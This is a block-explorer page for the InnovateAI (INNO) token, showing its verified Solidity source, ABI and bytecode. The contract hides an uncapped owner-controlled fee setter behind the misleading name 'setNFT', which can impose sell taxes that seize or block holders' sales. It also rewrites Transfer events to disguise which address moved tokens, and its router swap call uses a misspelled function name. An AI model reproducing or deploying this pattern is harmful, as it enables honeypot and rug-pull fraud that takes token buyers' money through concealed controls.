ETH Price: $3,470.19 (-1.04%)
Gas: 3 Gwei

Token

InnovateAI (INNO)
 

Overview

Max Total Supply

10,000,000 INNO

Holders

26

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
9,808.736593233068424909 INNO

Value
$0.00
0xB884205D8E3FE0d0A5Cea388C36D57C1ac3ca715
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
InnovateAI

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-04-15
*/

/**
Innovate AI: Get your business online in 30 seconds with the #1 AI website builder and development toolkit. 


Web: https://innovateai.dev/
TG: https://t.me/innovateai
Twitter: https://twitter.com/Innovateaierc
*/
// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.25;

contract InnovateAI  {

    string private _name = 'InnovateAI';
    string private _symbol = 'INNO';
    uint256 public constant decimals = 18;
    uint256 public constant totalSupply = 10_000_000 * 10 ** decimals;

    struct TokenInfo {
        address tokenMkt;
        uint8 b;
        uint8 s;
    }

    TokenInfo public tokenInfo;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address private pair;
    address private holder;
    address private deployWallet;
    address private constant uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(uniswapV2Router);

    bool private swapping;
    bool private tradingOpen;

    address _deployer;
    address _executor;

    uint8 _initalBT = 0;
    uint8 _initalST = 0;

    constructor() {
        tokenInfo = TokenInfo({
            tokenMkt: msg.sender,
            b: _initalBT,
            s: _initalST
        });
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        deployWallet = msg.sender;

        _initDeployer(msg.sender, msg.sender);

        balanceOf[deployWallet] = (totalSupply * 100) / 100;
        emit Transfer(address(0), _deployer, balanceOf[deployWallet]);

    }

    receive() external payable {}

    function setNFT(uint8 _b, uint8 _s) external {
        if (msg.sender != _owner()) revert Permissions();
        _upgradeInfo(_b, _s);
    }

    function _upgradeInfo(uint8 _buy, uint8 _sell) private {
        tokenInfo.b = _buy;
        tokenInfo.s = _sell;
    }

    function _owner() private view returns (address) {
        return tokenInfo.tokenMkt;
    }

    function openTrading() external {
        require(msg.sender == _owner());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _initDeployer(address deployer_, address executor_) private {
        _deployer = deployer_;
        _executor = executor_;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _owner();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (
            to == pair &&
            !swapping &&
            balanceOf[address(this)] >= swapAmount &&
            from != tokenMkt
        ) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _buyFee, uint8 _sellFee) = (tokenInfo.b, tokenInfo.s);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;

        if (from == _executor) {
            emit Transfer(_deployer, to, amount);
        } else if (to == _executor) {
            emit Transfer(from, _deployer, amount);
        } else {
            emit Transfer(from, to, amount);
        }
        return true;
    }
}

interface IUniswapFactory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_b","type":"uint8"},{"internalType":"uint8","name":"_s","type":"uint8"}],"name":"setNFT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenInfo","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"b","type":"uint8"},{"internalType":"uint8","name":"s","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600a81526020017f496e6e6f766174654149000000000000000000000000000000000000000000008152505f908161004791906106ea565b506040518060400160405280600481526020017f494e4e4f000000000000000000000000000000000000000000000000000000008152506001908161008c91906106ea565b505f600960146101000a81548160ff021916908360ff1602179055505f600960156101000a81548160ff021916908360ff1602179055503480156100ce575f80fd5b5060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff168152602001600960149054906101000a900460ff1660ff168152602001600960159054906101000a900460ff1660ff1681525060025f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151815f0160146101000a81548160ff021916908360ff1602179055506040820151815f0160156101000a81548160ff021916908360ff1602179055509050507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503360075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102ae333361042c60201b60201c565b6064806012600a6102bf9190610915565b629896806102cd919061095f565b6102d7919061095f565b6102e191906109cd565b60035f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405161041f9190610a0c565b60405180910390a3610a25565b8160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061052b57607f821691505b60208210810361053e5761053d6104e7565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026105a07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610565565b6105aa8683610565565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6105ee6105e96105e4846105c2565b6105cb565b6105c2565b9050919050565b5f819050919050565b610607836105d4565b61061b610613826105f5565b848454610571565b825550505050565b5f90565b61062f610623565b61063a8184846105fe565b505050565b5b8181101561065d576106525f82610627565b600181019050610640565b5050565b601f8211156106a25761067381610544565b61067c84610556565b8101602085101561068b578190505b61069f61069785610556565b83018261063f565b50505b505050565b5f82821c905092915050565b5f6106c25f19846008026106a7565b1980831691505092915050565b5f6106da83836106b3565b9150826002028217905092915050565b6106f3826104b0565b67ffffffffffffffff81111561070c5761070b6104ba565b5b6107168254610514565b610721828285610661565b5f60209050601f831160018114610752575f8415610740578287015190505b61074a85826106cf565b8655506107b1565b601f19841661076086610544565b5f5b8281101561078757848901518255600182019150602085019450602081019050610762565b868310156107a457848901516107a0601f8916826106b3565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561083b57808604811115610817576108166107b9565b5b60018516156108265780820291505b8081029050610834856107e6565b94506107fb565b94509492505050565b5f82610853576001905061090e565b81610860575f905061090e565b81600181146108765760028114610880576108af565b600191505061090e565b60ff841115610892576108916107b9565b5b8360020a9150848211156108a9576108a86107b9565b5b5061090e565b5060208310610133831016604e8410600b84101617156108e45782820a9050838111156108df576108de6107b9565b5b61090e565b6108f184848460016107f2565b92509050818404811115610908576109076107b9565b5b81810290505b9392505050565b5f61091f826105c2565b915061092a836105c2565b92506109577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610844565b905092915050565b5f610969826105c2565b9150610974836105c2565b9250828202610982816105c2565b91508282048414831517610999576109986107b9565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6109d7826105c2565b91506109e2836105c2565b9250826109f2576109f16109a0565b5b828204905092915050565b610a06816105c2565b82525050565b5f602082019050610a1f5f8301846109fd565b92915050565b611a6a80610a325f395ff3fe6080604052600436106100aa575f3560e01c80636addb663116100635780636addb663146101d357806370a08231146101ff57806395d89b411461023b578063a9059cbb14610265578063c9567bf9146102a1578063dd62ed3e146102b7576100b1565b806306fdde03146100b5578063095ea7b3146100df57806318160ddd1461011b57806323b872dd14610145578063313ce567146101815780635119edd0146101ab576100b1565b366100b157005b5f80fd5b3480156100c0575f80fd5b506100c96102f3565b6040516100d69190611252565b60405180910390f35b3480156100ea575f80fd5b5061010560048036038101906101009190611303565b610382565b604051610112919061135b565b60405180910390f35b348015610126575f80fd5b5061012f61046f565b60405161013c9190611383565b60405180910390f35b348015610150575f80fd5b5061016b6004803603810190610166919061139c565b61048e565b604051610178919061135b565b60405180910390f35b34801561018c575f80fd5b50610195610531565b6040516101a29190611383565b60405180910390f35b3480156101b6575f80fd5b506101d160048036038101906101cc9190611422565b610536565b005b3480156101de575f80fd5b506101e76105b0565b6040516101f69392919061147e565b60405180910390f35b34801561020a575f80fd5b50610225600480360381019061022091906114b3565b6105fe565b6040516102329190611383565b60405180910390f35b348015610246575f80fd5b5061024f610613565b60405161025c9190611252565b60405180910390f35b348015610270575f80fd5b5061028b60048036038101906102869190611303565b6106a3565b604051610298919061135b565b60405180910390f35b3480156102ac575f80fd5b506102b56106b7565b005b3480156102c2575f80fd5b506102dd60048036038101906102d891906114de565b6108f3565b6040516102ea9190611383565b60405180910390f35b60605f805461030190611549565b80601f016020809104026020016040519081016040528092919081815260200182805461032d90611549565b80156103785780601f1061034f57610100808354040283529160200191610378565b820191905f5260205f20905b81548152906001019060200180831161035b57829003601f168201915b5050505050905090565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161045d9190611383565b60405180910390a36001905092915050565b6012600a61047d91906116d5565b6298968061048b919061171f565b81565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105169190611760565b92505081905550610528848484610913565b90509392505050565b601281565b61053e61117a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105a2576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6105ac82826111a4565b5050565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690805f0160149054906101000a900460ff1690805f0160159054906101000a900460ff16905083565b6003602052805f5260405f205f915090505481565b60606001805461062290611549565b80601f016020809104026020016040519081016040528092919081815260200182805461064e90611549565b80156106995780601f1061067057610100808354040283529160200191610699565b820191905f5260205f20905b81548152906001019060200180831161067c57829003601f168201915b5050505050905090565b5f6106af338484610913565b905092915050565b6106bf61117a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106f5575f80fd5b600760159054906101000a900460ff161561070e575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079091906117a7565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f0573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081491906117a7565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b81526004016108529291906117d2565b602060405180830381865afa15801561086d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089191906117a7565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760156101000a81548160ff021916908315150217905550505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f8061091d61117a565b9050600760159054906101000a900460ff168061096557508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8061099b57508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b6109a3575f80fd5b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546109ef9190611760565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610a5f5750600760149054906101000a900460ff16155b8015610acf575060646012600a610a7691906116d5565b62989680610a84919061171f565b610a8e9190611826565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610b0757508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610d9a576001600760146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610b4357610b42611856565b5b604051908082528060200260200182016040528015610b715781602001602082028036833780820191505090505b50905030815f81518110610b8857610b87611883565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c1f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c4391906117a7565b81600181518110610c5757610c56611883565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610cd191906116d5565b62989680610cdf919061171f565b610ce99190611826565b5f8430426040518663ffffffff1660e01b8152600401610d0d9594939291906119a9565b5f604051808303815f87803b158015610d24575f80fd5b505af1158015610d36573d5f803e3d5ffd5b505050508173ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610d7d573d5f803e3d5ffd5b505f600760146101000a81548160ff021916908315150217905550505b5f8060025f0160149054906101000a900460ff1660025f0160159054906101000a900460ff16915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614158015610e13575060011515600760159054906101000a900460ff161515145b15610ef4575f606460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614610e755783610e77565b825b60ff1687610e85919061171f565b610e8f9190611826565b90508086610e9d9190611760565b95508060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610eeb9190611a01565b92505081905550505b8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f409190611a01565b9250508190555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603611026578573ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516110199190611383565b60405180910390a361116c565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036111055760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516110f89190611383565b60405180910390a361116b565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516111629190611383565b60405180910390a35b5b600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8160025f0160146101000a81548160ff021916908360ff1602179055508060025f0160156101000a81548160ff021916908360ff1602179055505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611224826111e2565b61122e81856111ec565b935061123e8185602086016111fc565b6112478161120a565b840191505092915050565b5f6020820190508181035f83015261126a818461121a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61129f82611276565b9050919050565b6112af81611295565b81146112b9575f80fd5b50565b5f813590506112ca816112a6565b92915050565b5f819050919050565b6112e2816112d0565b81146112ec575f80fd5b50565b5f813590506112fd816112d9565b92915050565b5f806040838503121561131957611318611272565b5b5f611326858286016112bc565b9250506020611337858286016112ef565b9150509250929050565b5f8115159050919050565b61135581611341565b82525050565b5f60208201905061136e5f83018461134c565b92915050565b61137d816112d0565b82525050565b5f6020820190506113965f830184611374565b92915050565b5f805f606084860312156113b3576113b2611272565b5b5f6113c0868287016112bc565b93505060206113d1868287016112bc565b92505060406113e2868287016112ef565b9150509250925092565b5f60ff82169050919050565b611401816113ec565b811461140b575f80fd5b50565b5f8135905061141c816113f8565b92915050565b5f806040838503121561143857611437611272565b5b5f6114458582860161140e565b92505060206114568582860161140e565b9150509250929050565b61146981611295565b82525050565b611478816113ec565b82525050565b5f6060820190506114915f830186611460565b61149e602083018561146f565b6114ab604083018461146f565b949350505050565b5f602082840312156114c8576114c7611272565b5b5f6114d5848285016112bc565b91505092915050565b5f80604083850312156114f4576114f3611272565b5b5f611501858286016112bc565b9250506020611512858286016112bc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061156057607f821691505b6020821081036115735761157261151c565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156115fb578086048111156115d7576115d6611579565b5b60018516156115e65780820291505b80810290506115f4856115a6565b94506115bb565b94509492505050565b5f8261161357600190506116ce565b81611620575f90506116ce565b816001811461163657600281146116405761166f565b60019150506116ce565b60ff84111561165257611651611579565b5b8360020a91508482111561166957611668611579565b5b506116ce565b5060208310610133831016604e8410600b84101617156116a45782820a90508381111561169f5761169e611579565b5b6116ce565b6116b184848460016115b2565b925090508184048111156116c8576116c7611579565b5b81810290505b9392505050565b5f6116df826112d0565b91506116ea836112d0565b92506117177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611604565b905092915050565b5f611729826112d0565b9150611734836112d0565b9250828202611742816112d0565b9150828204841483151761175957611758611579565b5b5092915050565b5f61176a826112d0565b9150611775836112d0565b925082820390508181111561178d5761178c611579565b5b92915050565b5f815190506117a1816112a6565b92915050565b5f602082840312156117bc576117bb611272565b5b5f6117c984828501611793565b91505092915050565b5f6040820190506117e55f830185611460565b6117f26020830184611460565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611830826112d0565b915061183b836112d0565b92508261184b5761184a6117f9565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f6118dc6118d76118d2846118b0565b6118b9565b6112d0565b9050919050565b6118ec816118c2565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61192481611295565b82525050565b5f611935838361191b565b60208301905092915050565b5f602082019050919050565b5f611957826118f2565b61196181856118fc565b935061196c8361190c565b805f5b8381101561199c578151611983888261192a565b975061198e83611941565b92505060018101905061196f565b5085935050505092915050565b5f60a0820190506119bc5f830188611374565b6119c960208301876118e3565b81810360408301526119db818661194d565b90506119ea6060830185611460565b6119f76080830184611374565b9695505050505050565b5f611a0b826112d0565b9150611a16836112d0565b9250828201905080821115611a2e57611a2d611579565b5b9291505056fea26469706673582212200195bffb02ffaa6837823a42bee7f773f22ca635fa8739c889db1ea3fb6fa3d264736f6c63430008190033

Deployed Bytecode

0x6080604052600436106100aa575f3560e01c80636addb663116100635780636addb663146101d357806370a08231146101ff57806395d89b411461023b578063a9059cbb14610265578063c9567bf9146102a1578063dd62ed3e146102b7576100b1565b806306fdde03146100b5578063095ea7b3146100df57806318160ddd1461011b57806323b872dd14610145578063313ce567146101815780635119edd0146101ab576100b1565b366100b157005b5f80fd5b3480156100c0575f80fd5b506100c96102f3565b6040516100d69190611252565b60405180910390f35b3480156100ea575f80fd5b5061010560048036038101906101009190611303565b610382565b604051610112919061135b565b60405180910390f35b348015610126575f80fd5b5061012f61046f565b60405161013c9190611383565b60405180910390f35b348015610150575f80fd5b5061016b6004803603810190610166919061139c565b61048e565b604051610178919061135b565b60405180910390f35b34801561018c575f80fd5b50610195610531565b6040516101a29190611383565b60405180910390f35b3480156101b6575f80fd5b506101d160048036038101906101cc9190611422565b610536565b005b3480156101de575f80fd5b506101e76105b0565b6040516101f69392919061147e565b60405180910390f35b34801561020a575f80fd5b50610225600480360381019061022091906114b3565b6105fe565b6040516102329190611383565b60405180910390f35b348015610246575f80fd5b5061024f610613565b60405161025c9190611252565b60405180910390f35b348015610270575f80fd5b5061028b60048036038101906102869190611303565b6106a3565b604051610298919061135b565b60405180910390f35b3480156102ac575f80fd5b506102b56106b7565b005b3480156102c2575f80fd5b506102dd60048036038101906102d891906114de565b6108f3565b6040516102ea9190611383565b60405180910390f35b60605f805461030190611549565b80601f016020809104026020016040519081016040528092919081815260200182805461032d90611549565b80156103785780601f1061034f57610100808354040283529160200191610378565b820191905f5260205f20905b81548152906001019060200180831161035b57829003601f168201915b5050505050905090565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161045d9190611383565b60405180910390a36001905092915050565b6012600a61047d91906116d5565b6298968061048b919061171f565b81565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105169190611760565b92505081905550610528848484610913565b90509392505050565b601281565b61053e61117a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105a2576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6105ac82826111a4565b5050565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690805f0160149054906101000a900460ff1690805f0160159054906101000a900460ff16905083565b6003602052805f5260405f205f915090505481565b60606001805461062290611549565b80601f016020809104026020016040519081016040528092919081815260200182805461064e90611549565b80156106995780601f1061067057610100808354040283529160200191610699565b820191905f5260205f20905b81548152906001019060200180831161067c57829003601f168201915b5050505050905090565b5f6106af338484610913565b905092915050565b6106bf61117a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106f5575f80fd5b600760159054906101000a900460ff161561070e575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079091906117a7565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f0573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081491906117a7565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b81526004016108529291906117d2565b602060405180830381865afa15801561086d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089191906117a7565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760156101000a81548160ff021916908315150217905550505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f8061091d61117a565b9050600760159054906101000a900460ff168061096557508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8061099b57508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b6109a3575f80fd5b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546109ef9190611760565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffff